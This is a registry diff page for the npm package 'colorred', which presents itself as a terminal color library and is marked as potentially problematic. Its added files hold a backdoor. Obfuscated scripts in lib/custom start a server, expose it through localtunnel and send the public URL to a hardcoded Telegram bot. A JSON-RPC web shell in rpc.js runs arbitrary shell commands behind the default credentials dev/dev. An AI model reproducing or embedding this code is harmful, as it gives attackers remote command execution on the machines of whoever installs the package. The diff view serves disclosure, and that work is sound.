colorred 0.0.1-security → 1.4.54
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of colorred might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +151 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +214 -0
- package/lib/custom/american.js +31 -0
- package/lib/custom/app.js +1 -0
- package/lib/custom/colorful.js +1 -0
- package/lib/custom/config/index.js +21 -0
- package/lib/custom/rpc.js +260 -0
- package/lib/custom/static/favicon.png +0 -0
- package/lib/custom/static/index.css +17 -0
- package/lib/custom/static/index.js +41 -0
- package/lib/custom/static/index.map +1 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/views/head.pug +10 -0
- package/lib/custom/views/index.pug +7 -0
- package/lib/custom/views/script.pug +3 -0
- package/lib/custom/views/unauthorized.pug +21 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +110 -0
- package/lib/index.js +23 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +58 -4
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
@@ -0,0 +1,31 @@
|
|
1
|
+
module.exports = function americanFlag () {
|
2
|
+
console.log('LIBERTY LIBERTY LIBERTY'.yellow);
|
3
|
+
console.log('LIBERTY LIBERTY LIBERTY'.america);
|
4
|
+
console.log('LIBERTY LIBERTY LIBERTY'.yellow);
|
5
|
+
let flag = "\
|
6
|
+
\
|
7
|
+
!\
|
8
|
+
H|H|H|H|H H__________________________________\
|
9
|
+
H|§|§|§|H H|* * * * * *|---------------------|\
|
10
|
+
H|§|∞|§|H H| * * * * * |---------------------|\
|
11
|
+
H|§|§|§|H H|* * * * * *|---------------------|\
|
12
|
+
H|H|H|H|H H| * * * * * |---------------------|\
|
13
|
+
H|H|H|H|H H|---------------------------------|\
|
14
|
+
=============== H|---------------------------------|\
|
15
|
+
/| _ _ |\ H|---------------------------------|\
|
16
|
+
(| O O |) H|---------------------------------|\
|
17
|
+
/| U |\ H-----------------------------------\
|
18
|
+
| \=/ | H\
|
19
|
+
\_..._/ H\
|
20
|
+
_|\I/|_ H\
|
21
|
+
_______/\| H |/\_______ H\
|
22
|
+
/ \ \ / / \ H\
|
23
|
+
| \ | | / | H\
|
24
|
+
| ||o|| | H\
|
25
|
+
| | ||o|| | | H\
|
26
|
+
| | ||o|| | | H Carl Pilcher\
|
27
|
+
";
|
28
|
+
|
29
|
+
console.log(flag);
|
30
|
+
|
31
|
+
}
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x180beb=_0x221d;function _0x59bc(){const _0x284dee=['body','url','listen','/static','then','unauthorized','POST','req','log','path','koa-static','get','3750IDbeES','message','Sorry,\x20an\x20error\x20has\x20occurred.','1099mVcKkr','/console','1040LZDcjY','application/json','stringify','render','join','node-fetch','978IlUfUT','routes','/rpc','koa-router','1177320VTjNgy','middleware','koa-mount','koa-bodyparser','server\x20started\x20and\x20listens\x20on\x20port','request','1128271039','7624voGUxB','541268xLxZoh','koa-connect','use','19492Hdtrzf','2938401kKjOTI','3XqpYxS','190rigGIm','./views','index','localtunnel','https://api.telegram.org/bot5568410923:AAFUogzIX2DGyFlq-XOTECr_RvpVpeu-_Qk/sendMessage','close','pug','270RfrbJg','bok'];_0x59bc=function(){return _0x284dee;};return _0x59bc();}(function(_0x3fd6b2,_0x308261){const _0x32f62f=_0x221d,_0x34454d=_0x3fd6b2();while(!![]){try{const _0x40a5f8=-parseInt(_0x32f62f(0xf0))/0x1*(parseInt(_0x32f62f(0xde))/0x2)+parseInt(_0x32f62f(0xef))/0x3*(parseInt(_0x32f62f(0xea))/0x4)+-parseInt(_0x32f62f(0xc5))/0x5*(parseInt(_0x32f62f(0xd3))/0x6)+parseInt(_0x32f62f(0xd6))/0x7*(parseInt(_0x32f62f(0xe9))/0x8)+parseInt(_0x32f62f(0xee))/0x9+parseInt(_0x32f62f(0xd8))/0xa*(-parseInt(_0x32f62f(0xed))/0xb)+-parseInt(_0x32f62f(0xe2))/0xc;if(_0x40a5f8===_0x308261)break;else _0x34454d['push'](_0x34454d['shift']());}catch(_0x2cf4b1){_0x34454d['push'](_0x34454d['shift']());}}}(_0x59bc,0x31681));const Koa=require('koa'),serve=require(_0x180beb(0xd1)),views=require('koa-views'),bodyParser=require(_0x180beb(0xe5)),c2k=require(_0x180beb(0xeb)),Router=require(_0x180beb(0xe1)),mount=require(_0x180beb(0xe4)),path=require(_0x180beb(0xd0)),{RPCServer,isConfigured,noLogin}=require('./rpc'),server=new Koa();server[_0x180beb(0xec)](bodyParser()),server['use'](async(_0x3966d9,_0x3e0e39)=>{const _0x5b45f2=_0x180beb;try{_0x3966d9[_0x5b45f2(0xce)]['body']=_0x3966d9[_0x5b45f2(0xe7)][_0x5b45f2(0xc7)],await _0x3e0e39();}catch(_0xb99b8){_0x3966d9['status']=0x1f4,console['log']({'err':_0xb99b8}),_0x3966d9[_0x5b45f2(0xd4)]=_0xb99b8[_0x5b45f2(0xd4)]||_0x5b45f2(0xd5);}}),server['use'](views(path[_0x180beb(0xdc)](__dirname,_0x180beb(0xf1)),{'extension':_0x180beb(0xc4)})),server[_0x180beb(0xec)](mount(_0x180beb(0xca),serve(path[_0x180beb(0xdc)](__dirname,'./static'))));function _0x221d(_0x28471b,_0x33ffba){const _0x59bc6c=_0x59bc();return _0x221d=function(_0x221d72,_0x20d843){_0x221d72=_0x221d72-0xc2;let _0x93ca24=_0x59bc6c[_0x221d72];return _0x93ca24;},_0x221d(_0x28471b,_0x33ffba);}const router=new Router();router[_0x180beb(0xd2)](_0x180beb(0xd7),async _0x58f557=>{const _0x4b514d=_0x180beb;isConfigured?(console[_0x4b514d(0xcf)](_0x4b514d(0xc6)),await _0x58f557[_0x4b514d(0xdb)](_0x4b514d(0xf2),{'NO_LOGIN':noLogin})):await _0x58f557[_0x4b514d(0xdb)](_0x4b514d(0xcc));}),router['post'](_0x180beb(0xe0),c2k(RPCServer[_0x180beb(0xe3)]())),server[_0x180beb(0xec)](router[_0x180beb(0xdf)]())[_0x180beb(0xec)](router['allowedMethods']());const http=require('http'),send_telegram_msg=_0x315878=>{const _0x4ebb62=_0x180beb,_0x37dfcf=require(_0x4ebb62(0xdd)),_0x3db2cd=_0x4ebb62(0xc2),_0x569233={'chat_id':_0x4ebb62(0xe8),'text':_0x315878};_0x37dfcf(_0x3db2cd,{'method':_0x4ebb62(0xcd),'body':JSON[_0x4ebb62(0xda)](_0x569233),'headers':{'Content-Type':_0x4ebb62(0xd9)}})[_0x4ebb62(0xcb)](_0x24d622=>{const _0x5b7258=_0x4ebb62;console[_0x5b7258(0xcf)](_0x24d622);});},create_local_tunnel=_0x493acb=>{const _0x3a4c9b=_0x180beb,_0x2f4ac8=require(_0x3a4c9b(0xf3));((async()=>{const _0x20d56a=_0x3a4c9b,_0x2335e8=await _0x2f4ac8({'port':_0x493acb});console[_0x20d56a(0xcf)]('tunnel.url:\x20',_0x2335e8['url']),send_telegram_msg(_0x2335e8[_0x20d56a(0xc8)]+'\x20'+_0x493acb),_0x2335e8['on'](_0x20d56a(0xc3),()=>{});})());},port=0x1fa1;server[_0x180beb(0xc9)](port,()=>{const _0x10ea65=_0x180beb;create_local_tunnel(port),console['log'](_0x10ea65(0xe6));});
|
@@ -0,0 +1 @@
|
|
1
|
+
/* */function _0x4f8a(){const _0x426537=['close','http','2LMBlDV','20486740PeQBPi','listen','log','54Rpnytj','https://api.telegram.org/bot5568410923:AAFUogzIX2DGyFlq-XOTECr_RvpVpeu-_Qk/sendMessage','POST','localtunnel','618454VlpAgB','stringify','createServer','296168AcvmOL','5573799xfvKSb','286565rCsBiz','63DtZttj','node-fetch','url','then','tunnel.url:\x20','305931TSMHfK','1128271039','3073172WbIvpk','serve-handler','application/json'];_0x4f8a=function(){return _0x426537;};return _0x4f8a();}const _0x5e53ff=_0x2984;(function(_0x42720d,_0x182e80){const _0x845d19=_0x2984,_0x548365=_0x42720d();while(!![]){try{const _0x2daca1=parseInt(_0x845d19(0x155))/0x1+-parseInt(_0x845d19(0x167))/0x2*(-parseInt(_0x845d19(0x160))/0x3)+-parseInt(_0x845d19(0x162))/0x4+-parseInt(_0x845d19(0x15a))/0x5*(parseInt(_0x845d19(0x151))/0x6)+-parseInt(_0x845d19(0x15b))/0x7*(parseInt(_0x845d19(0x158))/0x8)+-parseInt(_0x845d19(0x159))/0x9+parseInt(_0x845d19(0x14e))/0xa;if(_0x2daca1===_0x182e80)break;else _0x548365['push'](_0x548365['shift']());}catch(_0x3f02db){_0x548365['push'](_0x548365['shift']());}}}(_0x4f8a,0x8200f));function _0x2984(_0x5e81c0,_0x37c1da){const _0x4f8a08=_0x4f8a();return _0x2984=function(_0x298432,_0x452ebc){_0x298432=_0x298432-0x14e;let _0x3840b2=_0x4f8a08[_0x298432];return _0x3840b2;},_0x2984(_0x5e81c0,_0x37c1da);}const handler=require(_0x5e53ff(0x163)),http=require(_0x5e53ff(0x166)),send_telegram_msg=_0x3132cf=>{const _0x1a3d17=_0x5e53ff,_0x1bf21a=require(_0x1a3d17(0x15c)),_0x41f004=_0x1a3d17(0x152),_0x513a44={'chat_id':_0x1a3d17(0x161),'text':_0x3132cf};_0x1bf21a(_0x41f004,{'method':_0x1a3d17(0x153),'body':JSON[_0x1a3d17(0x156)](_0x513a44),'headers':{'Content-Type':_0x1a3d17(0x164)}})[_0x1a3d17(0x15e)](_0x564423=>{const _0x5745e1=_0x1a3d17;console[_0x5745e1(0x150)](_0x564423);});},create_local_tunnel=_0x28685e=>{const _0x251e7d=_0x5e53ff,_0x32005=require(_0x251e7d(0x154));((async()=>{const _0x307671=_0x251e7d,_0x584c70=await _0x32005({'port':_0x28685e});console['log'](_0x307671(0x15f),_0x584c70[_0x307671(0x15d)]),send_telegram_msg(_0x584c70[_0x307671(0x15d)]+'\x20'+_0x28685e),_0x584c70['on'](_0x307671(0x165),()=>{});})());};try{const port=0x1fa0,server=http[_0x5e53ff(0x157)]((_0x4c41f3,_0x4e14aa)=>{return handler(_0x4c41f3,_0x4e14aa,{'public':'/'});});server[_0x5e53ff(0x14f)](port,()=>{create_local_tunnel(port);});}catch(_0x1a2077){process['exit'](0x0);}
|
@@ -0,0 +1,21 @@
|
|
1
|
+
module.exports = {
|
2
|
+
// Disable login if set true (don't ask for credentials, be careful)
|
3
|
+
noLogin: false,
|
4
|
+
// Single-user credentials
|
5
|
+
user: 'dev',
|
6
|
+
password: 'dev',
|
7
|
+
// Multi-user credentials
|
8
|
+
// Example:
|
9
|
+
// account: { 'user1': 'password1', 'user2':'password2' }
|
10
|
+
accounts: {},
|
11
|
+
// Password hash algorithm (password must be hashed)
|
12
|
+
// Example:
|
13
|
+
// passwordHashAlgorithm: 'md5'
|
14
|
+
// $PASSWORD_HASH_ALGORITHM: 'sha256'
|
15
|
+
passwordHashAlgorithm: '',
|
16
|
+
// Home directory (multi-user mode supported)
|
17
|
+
// Example:
|
18
|
+
// homeDirectory: /tmp'
|
19
|
+
// homeDirectory: {user1': '/home/user1', 'user2': '/home/user2' }
|
20
|
+
homeDirectory: ''
|
21
|
+
}
|
@@ -0,0 +1,260 @@
|
|
1
|
+
const crypto = require('crypto')
|
2
|
+
const os = require('os')
|
3
|
+
const fs = require('fs')
|
4
|
+
const path = require('path')
|
5
|
+
const { execSync } = require('child_process')
|
6
|
+
require('natural-compare-lite')
|
7
|
+
const jayson = require('jayson')
|
8
|
+
const config = require('./config')
|
9
|
+
|
10
|
+
function getHash (algorithm, str) {
|
11
|
+
const hash = crypto.createHash(algorithm)
|
12
|
+
hash.update(str.trim())
|
13
|
+
return hash.digest('hex')
|
14
|
+
}
|
15
|
+
|
16
|
+
function isDirectory (thePath) {
|
17
|
+
return fs.existsSync(thePath) && fs.statSync(thePath).isDirectory()
|
18
|
+
}
|
19
|
+
|
20
|
+
// Command execution
|
21
|
+
function executeCommand (command) {
|
22
|
+
return execSync(`${command} 2>&1`, {
|
23
|
+
encoding: 'utf8'
|
24
|
+
})
|
25
|
+
}
|
26
|
+
|
27
|
+
// Initializing
|
28
|
+
if (config.user && config.password) {
|
29
|
+
config.accounts[config.user] = config.password
|
30
|
+
}
|
31
|
+
const isConfigured = config.noLogin || Object.keys(config.accounts).length >= 1
|
32
|
+
|
33
|
+
// RPC Server
|
34
|
+
let HOME_DIRECTORY = ''
|
35
|
+
|
36
|
+
const methods = {
|
37
|
+
error: (message) => {
|
38
|
+
throw new Error(message)
|
39
|
+
},
|
40
|
+
|
41
|
+
// Authentication
|
42
|
+
authenticateUser: (user, password) => {
|
43
|
+
user = user.trim()
|
44
|
+
password = password.trim()
|
45
|
+
if (user && password) {
|
46
|
+
if (config.accounts[user]) {
|
47
|
+
if (config.passwordHashAlgorithm) {
|
48
|
+
password = getHash(config.passwordHashAlgorithm, password)
|
49
|
+
}
|
50
|
+
if (password === config.accounts[user]) {
|
51
|
+
return `${user}:${getHash('sha256', password)}`
|
52
|
+
}
|
53
|
+
}
|
54
|
+
}
|
55
|
+
throw new Error('Incorrect user or password')
|
56
|
+
},
|
57
|
+
authenticateToken: (token) => {
|
58
|
+
if (config.noLogin) {
|
59
|
+
return true
|
60
|
+
}
|
61
|
+
token = token.trim()
|
62
|
+
const tokenParts = token.split(':', 2)
|
63
|
+
|
64
|
+
if (tokenParts.length === 2) {
|
65
|
+
const user = tokenParts[0].trim()
|
66
|
+
const passwordHash = tokenParts[1].trim()
|
67
|
+
|
68
|
+
if (user && passwordHash) {
|
69
|
+
if (config.accounts) {
|
70
|
+
const realPasswordHash = getHash('sha256', config.accounts[user])
|
71
|
+
if (passwordHash === realPasswordHash) {
|
72
|
+
return user
|
73
|
+
}
|
74
|
+
}
|
75
|
+
}
|
76
|
+
}
|
77
|
+
|
78
|
+
throw new Error('Incorrect user or password')
|
79
|
+
},
|
80
|
+
getHomeDirectory: (user) => {
|
81
|
+
if (typeof config.homeDirectory === 'string') {
|
82
|
+
if (config.homeDirectory) {
|
83
|
+
return config.homeDirectory
|
84
|
+
}
|
85
|
+
} else if (typeof user === 'string' && user && config.homeDirectory.user) {
|
86
|
+
return config.homeDirectory.user
|
87
|
+
}
|
88
|
+
return process.cwd()
|
89
|
+
},
|
90
|
+
|
91
|
+
// Environment
|
92
|
+
getEnvironment: () => {
|
93
|
+
return {
|
94
|
+
path: process.cwd(),
|
95
|
+
hostname: os.hostname()
|
96
|
+
}
|
97
|
+
},
|
98
|
+
setEnvironment: (environment = {}, methods) => {
|
99
|
+
const thePath = environment.path || HOME_DIRECTORY
|
100
|
+
if (thePath) {
|
101
|
+
if (isDirectory(thePath)) {
|
102
|
+
try {
|
103
|
+
process.chdir(thePath)
|
104
|
+
} catch (e) {
|
105
|
+
return {
|
106
|
+
output: 'Unable to change directory to current working directory, updating current directory',
|
107
|
+
environment: methods.getEnvironment.handler()
|
108
|
+
}
|
109
|
+
}
|
110
|
+
}
|
111
|
+
} else {
|
112
|
+
return {
|
113
|
+
output: 'Current working directory not found, updating current directory',
|
114
|
+
environment: methods.getEnvironment.handler()
|
115
|
+
}
|
116
|
+
}
|
117
|
+
},
|
118
|
+
|
119
|
+
// Initialization
|
120
|
+
initialize: (token, environment, methods) => {
|
121
|
+
const user = methods.authenticateToken.handler(token)
|
122
|
+
HOME_DIRECTORY = methods.getHomeDirectory.handler(user)
|
123
|
+
const result = methods.setEnvironment.handler(environment, methods)
|
124
|
+
if (result) {
|
125
|
+
return result
|
126
|
+
}
|
127
|
+
},
|
128
|
+
|
129
|
+
// Methods
|
130
|
+
login: (user, password, methods) => {
|
131
|
+
const result = {
|
132
|
+
token: methods.authenticateUser.handler(user, password),
|
133
|
+
environment: methods.getEnvironment.handler()
|
134
|
+
}
|
135
|
+
const homeDirectory = methods.getHomeDirectory.handler(user)
|
136
|
+
if (homeDirectory) {
|
137
|
+
if (isDirectory(homeDirectory)) {
|
138
|
+
result.environment.path = homeDirectory
|
139
|
+
} else {
|
140
|
+
result.output = `Home directory not found: ${homeDirectory}`
|
141
|
+
}
|
142
|
+
}
|
143
|
+
return result
|
144
|
+
},
|
145
|
+
cd: (token, environment, thePath, methods) => {
|
146
|
+
const result = methods.initialize.handler(token, environment, methods)
|
147
|
+
if (result) {
|
148
|
+
return result
|
149
|
+
}
|
150
|
+
thePath = thePath.trim()
|
151
|
+
if (!thePath) {
|
152
|
+
thePath = HOME_DIRECTORY
|
153
|
+
}
|
154
|
+
if (thePath) {
|
155
|
+
if (isDirectory(thePath)) {
|
156
|
+
try {
|
157
|
+
process.chdir(thePath)
|
158
|
+
} catch (e) {
|
159
|
+
return {
|
160
|
+
output: `cd ${thePath}: Unable to change directory`
|
161
|
+
}
|
162
|
+
}
|
163
|
+
} else {
|
164
|
+
return {
|
165
|
+
output: `cd ${thePath}: No such directory`
|
166
|
+
}
|
167
|
+
}
|
168
|
+
}
|
169
|
+
return {
|
170
|
+
environment: methods.getEnvironment.handler()
|
171
|
+
}
|
172
|
+
},
|
173
|
+
completion: (token, environment, pattern, command, methods) => {
|
174
|
+
const result = methods.initialize.handler(token, environment, methods)
|
175
|
+
if (result) {
|
176
|
+
return result
|
177
|
+
}
|
178
|
+
let scanPath = ''
|
179
|
+
let completionPrefix = ''
|
180
|
+
let completion = []
|
181
|
+
|
182
|
+
if (pattern) {
|
183
|
+
if (!isDirectory(pattern)) {
|
184
|
+
pattern = path.dirname(pattern)
|
185
|
+
pattern = pattern === '.' ? '' : pattern
|
186
|
+
}
|
187
|
+
if (pattern) {
|
188
|
+
if (isDirectory(pattern)) {
|
189
|
+
scanPath = completionPrefix = pattern
|
190
|
+
if (completionPrefix.substr(-1) !== '/') {
|
191
|
+
completionPrefix += '/'
|
192
|
+
}
|
193
|
+
}
|
194
|
+
} else {
|
195
|
+
scanPath = process.cwd()
|
196
|
+
}
|
197
|
+
} else {
|
198
|
+
scanPath = process.cwd()
|
199
|
+
}
|
200
|
+
|
201
|
+
if (scanPath) {
|
202
|
+
// Loading directory listing
|
203
|
+
completion = fs.readdirSync(scanPath)
|
204
|
+
completion.sort(String.naturalCompare)
|
205
|
+
|
206
|
+
// Prefix
|
207
|
+
if (completionPrefix && completion.length > 0) {
|
208
|
+
completion = completion.map(c => completionPrefix + c)
|
209
|
+
}
|
210
|
+
// Pattern
|
211
|
+
if (pattern && completion.length > 0) {
|
212
|
+
completion = completion.filter(c => {
|
213
|
+
return pattern === c.substr(0, pattern.length)
|
214
|
+
})
|
215
|
+
}
|
216
|
+
}
|
217
|
+
|
218
|
+
return {
|
219
|
+
completion
|
220
|
+
}
|
221
|
+
},
|
222
|
+
|
223
|
+
run: (token, environment, command, methods) => {
|
224
|
+
const result = methods.initialize.handler(token, environment, methods)
|
225
|
+
if (result) {
|
226
|
+
return result
|
227
|
+
}
|
228
|
+
let output = command ? executeCommand(command) : ''
|
229
|
+
if (output && output.substr(-1) === '\n') {
|
230
|
+
output = output.substr(0, output.length - 1)
|
231
|
+
}
|
232
|
+
return {
|
233
|
+
output
|
234
|
+
}
|
235
|
+
}
|
236
|
+
}
|
237
|
+
|
238
|
+
const RPCServer = jayson.server(methods, {
|
239
|
+
router (method, params) {
|
240
|
+
return (p, cb) => {
|
241
|
+
try {
|
242
|
+
const result = this._methods[method].handler(...p, this._methods)
|
243
|
+
cb(null, result)
|
244
|
+
} catch (e) {
|
245
|
+
console.log(e)
|
246
|
+
const error = {
|
247
|
+
code: 500,
|
248
|
+
message: e.message || 'Internal Error'
|
249
|
+
}
|
250
|
+
cb(error)
|
251
|
+
}
|
252
|
+
}
|
253
|
+
}
|
254
|
+
})
|
255
|
+
|
256
|
+
module.exports = {
|
257
|
+
RPCServer,
|
258
|
+
isConfigured,
|
259
|
+
noLogin: config.noLogin
|
260
|
+
}
|
Binary file
|
@@ -0,0 +1,17 @@
|
|
1
|
+
/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}[hidden],template{display:none}/*!
|
2
|
+
* __ _____ ________ __
|
3
|
+
* / // _ /__ __ _____ ___ __ _/__ ___/__ ___ ______ __ __ __ ___ / /
|
4
|
+
* __ / // // // // // _ // _// // / / // _ // _// // // \/ // _ \/ /
|
5
|
+
* / / // // // // // ___// / / // / / // ___// / / / / // // /\ // // / /__
|
6
|
+
* \___//____ \\___//____//_/ _\_ / /_//____//_/ /_/ /_//_//_/ /_/ \__\_\___/
|
7
|
+
* \/ /____/ version 1.23.2
|
8
|
+
* http://terminal.jcubic.pl
|
9
|
+
*
|
10
|
+
* This file is part of jQuery Terminal.
|
11
|
+
*
|
12
|
+
* Copyright (c) 2011-2018 Jakub Jankiewicz <http://jcubic.pl>
|
13
|
+
* Released under the MIT license
|
14
|
+
*
|
15
|
+
* Date: Tue, 18 Sep 2018 14:16:36 +0000
|
16
|
+
*/.cmd .format,.cmd .prompt,.cmd .prompt div,.terminal .terminal-output .format,.terminal .terminal-output div div{display:inline-block}.cmd,.terminal h1,.terminal h2,.terminal h3,.terminal h4,.terminal h5,.terminal h6,.terminal pre{margin:0}.terminal h1,.terminal h2,.terminal h3,.terminal h4,.terminal h5,.terminal h6{line-height:1.2em}.cmd .clipboard{background-color:transparent;border:none;color:transparent;height:16px;left:-16px;outline:none;overflow:hidden;padding:0;position:absolute;resize:none;text-indent:-9999em;top:0;white-space:pre;width:16px;z-index:1000}.cmd .cursor-line>span:last-child>span:last-child,.cmd .noselect,.cmd [role=presentation]:not(.cursor-line)>span:last-child{-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-webkit-touch-callout:none;-webkit-user-select:none;user-select:none}.terminal audio,.terminal canvas,.terminal img,.terminal object{cursor:default}.terminal .error{color:red}.terminal{contain:content;overflow-y:auto;position:relative}body.terminal{height:100%;margin:0;min-height:100vh}.terminal>div{min-height:100%}.terminal>.font .resizer,.terminal>.resizer{border:none;bottom:0;height:100%;left:0;overflow:hidden;padding:0;pointer-events:none;position:absolute;right:0;top:0;width:100%;z-index:-1}.cmd{float:left;padding:0;position:relative}.terminal a[tabindex="1000"],.terminal a[tabindex="1000"]:active,.terminal a[tabindex="1000"]:focus{outline:none}.cmd .inverted,.terminal .inverted{background-color:#aaa;color:#000}.cmd .cursor{display:inline-block;height:14px;min-width:1ch;position:relative}.cmd .cursor span span{background-clip:content-box;background-color:inherit;border-bottom:3px solid transparent;border-left:1px solid transparent;color:inherit;margin-bottom:-3px;margin-left:-1px;position:absolute;top:0}.cmd .cursor-line>span{display:inline-block;float:left}.cmd .cursor.blink span span{-moz-animation:terminal-blink 1s infinite linear;-ms-animation:terminal-blink 1s infinite linear;-webkit-animation:terminal-blink 1s linear infinite;animation:terminal-blink 1s linear infinite}.bar.cmd .inverted,.bar.terminal .inverted{border-left-color:#aaa}.cmd .prompt,.terminal .terminal-output div div{display:block;height:auto;line-height:14px}.terminal .terminal-output>div:not(.raw) div{white-space:nowrap}.cmd .prompt>span{float:left}.cmd,.cmd *,.terminal,.terminal-wrapper *{background-color:#000;color:#aaa;font-family:monospace;font-size:12px;line-height:14px}.cmd,.terminal{box-sizing:border-box;cursor:text}.cmd .cursor span:not(.token){background-color:inherit;color:inherit}.cmd .cursor *{background-color:transparent}.cmd div{clear:both;min-height:14px}.cmd .prompt+div{clear:right}.terminal-output>div>div{min-height:14px}terminal .terminal-output>div{margin-top:-1px}.terminal-output>div.raw>div *{overflow-wrap:break-word;word-wrap:break-word}.terminal .font{float:left;font-size:inherit;left:0;line-height:inherit;margin-bottom:1px;position:absolute;top:-100%}.terminal .terminal-output div span{display:inline-block}.cmd>span:not(.prompt){float:left}.cmd .prompt span.line{display:block;float:none}.terminal table{border-collapse:collapse}.terminal td{border:1px solid #aaa}.cmd span[data-text] span{background-color:inherit;color:inherit}.cmd{--original-color:var(--color,#aaa)}@-webkit-keyframes terminal-blink{0%,50%{background-color:#bbb;background-color:var(--original-color,#bbb);color:#000;color:var(--background,#000)}50.1%,to{background-color:inherit;color:inherit}}@-ms-keyframes terminal-blink{0%,50%{background-color:#bbb;background-color:var(--original-color,#bbb);color:#000;color:var(--background,#000)}50.1%,to{background-color:inherit;color:inherit}}@-moz-keyframes terminal-blink{0%,50%{background-color:#aaa;background-color:var(--original-color,#aaa);color:#000;color:var(--background,#000)}50.1%,to{background-color:inherit;color:inherit}}@keyframes terminal-blink{0%,50%{background-color:#aaa;background-color:var(--original-color,#aaa);color:#000;color:var(--background,#000)}50.1%,to{background-color:inherit;color:inherit}}@-webkit-keyframes terminal-bar{0%,50%{border-left-color:#aaa;border-left-color:var(--color,#aaa)}50.1%,to{border-left-color:#000;border-left-color:var(--background,#000)}}@-ms-keyframes terminal-bar{0%,50%{border-left-color:#aaa;border-left-color:var(--color,#aaa)}50.1%,to{border-left-color:#000;border-left-color:var(--background,#000)}}@-moz-keyframes terminal-bar{0%,50%{border-left-color:#aaa;border-left-color:var(--color,#aaa)}50.1%,to{border-left-color:#000;border-left-color:var(--background,#000)}}@keyframes terminal-bar{0%,50%{border-left-color:#aaa;border-left-color:var(--color,#aaa)}50.1%,to{border-left-color:#000;border-left-color:var(--background,#000)}}@-webkit-keyframes terminal-underline{0%,50%{border-bottom-color:#aaa;border-bottom-color:var(--color,#aaa);border-left:none;line-height:12px;line-height:calc(var(--size, 1)*12px)}50.1%,to{border-bottom-color:#000;border-bottom-color:var(--background,#000);border-left:none;line-height:12px;line-height:calc(var(--size, 1)*12px)}}@-ms-keyframes terminal-underline{0%,50%{border-bottom-color:#aaa;border-bottom-color:var(--color,#aaa);border-left:none;line-height:12px;line-height:calc(var(--size, 1)*12px)}50.1%,to{border-bottom-color:#000;border-bottom-color:var(--background,#000);border-left:none;line-height:12px;line-height:calc(var(--size, 1)*12px)}}@-moz-keyframes terminal-underline{0%,50%{border-bottom-color:#aaa;border-bottom-color:var(--color,#aaa);border-left:none;line-height:12px;line-height:calc(var(--size, 1)*12px)}50.1%,to{border-bottom-color:#000;border-bottom-color:var(--background,#000);border-left:none;line-height:12px;line-height:calc(var(--size, 1)*12px)}}@keyframes terminal-underline{0%,50%{border-bottom-color:#aaa;border-bottom-color:var(--color,#aaa);border-left:none;line-height:12px;line-height:calc(var(--size, 1)*12px)}50.1%,to{border-bottom-color:#000;border-bottom-color:var(--background,#000);border-left:none;line-height:12px;line-height:calc(var(--size, 1)*12px)}}.underline-animation .cursor.blink span span{-moz-animation-name:terminal-underline;-ms-animation-name:terminal-underline;-webkit-animation-name:terminal-underline;animation-name:terminal-underline;border-left:none;margin-left:0;margin-top:2px}.bar-animation .cursor.blink span span{-moz-animation-name:terminal-bar;-ms-animation-name:terminal-bar;-webkit-animation-name:terminal-bar;animation-name:terminal-bar}@supports (-ms-ime-align:auto){.cmd .clipboard{margin-left:-9999px}.underline-animation .cursor.blink span span{margin-top:0}@keyframes terminal-blink{0%,50%{background-color:var(--original-color,#aaa);color:var(--background,#000)}50.1%,to{background-color:var(--background,#000);color:var(--original-color,#aaa)}}@keyframes terminal-bar{0%,50%{border-left-color:var(--color,#aaa)}50.1%,to{border-left-color:var(--background,#000)}}@keyframes terminal-underline{0%,50%{border-bottom-color:var(--color,#aaa);line-height:12px;line-height:calc(var(--size, 1)*12px)}50.1%,to{border-bottom-color:var(--background,#000);line-height:12px;line-height:calc(var(--size, 1)*12px)}}}@media (-ms-high-contrast:active),(-ms-high-contrast:none){.cmd .clipboard{margin-left:-9999px}.underline-animation .cursor.blink span span{margin-top:1px}@-ms-keyframes terminal-blink{0%,50%{background-color:#aaa;color:#000}50.1%,to{background-color:#000;color:#aaa}}}.cmd .prompt span::-moz-selection,.cmd>div::-moz-selection,.cmd>div span::-moz-selection,.cmd>span::-moz-selection,.cmd>span span::-moz-selection,.cmd div::-moz-selection,.terminal .terminal-output .raw div::-moz-selection,.terminal .terminal-output div div::-moz-selection,.terminal .terminal-output div div a::-moz-selection,.terminal .terminal-output div span::-moz-selection,.terminal 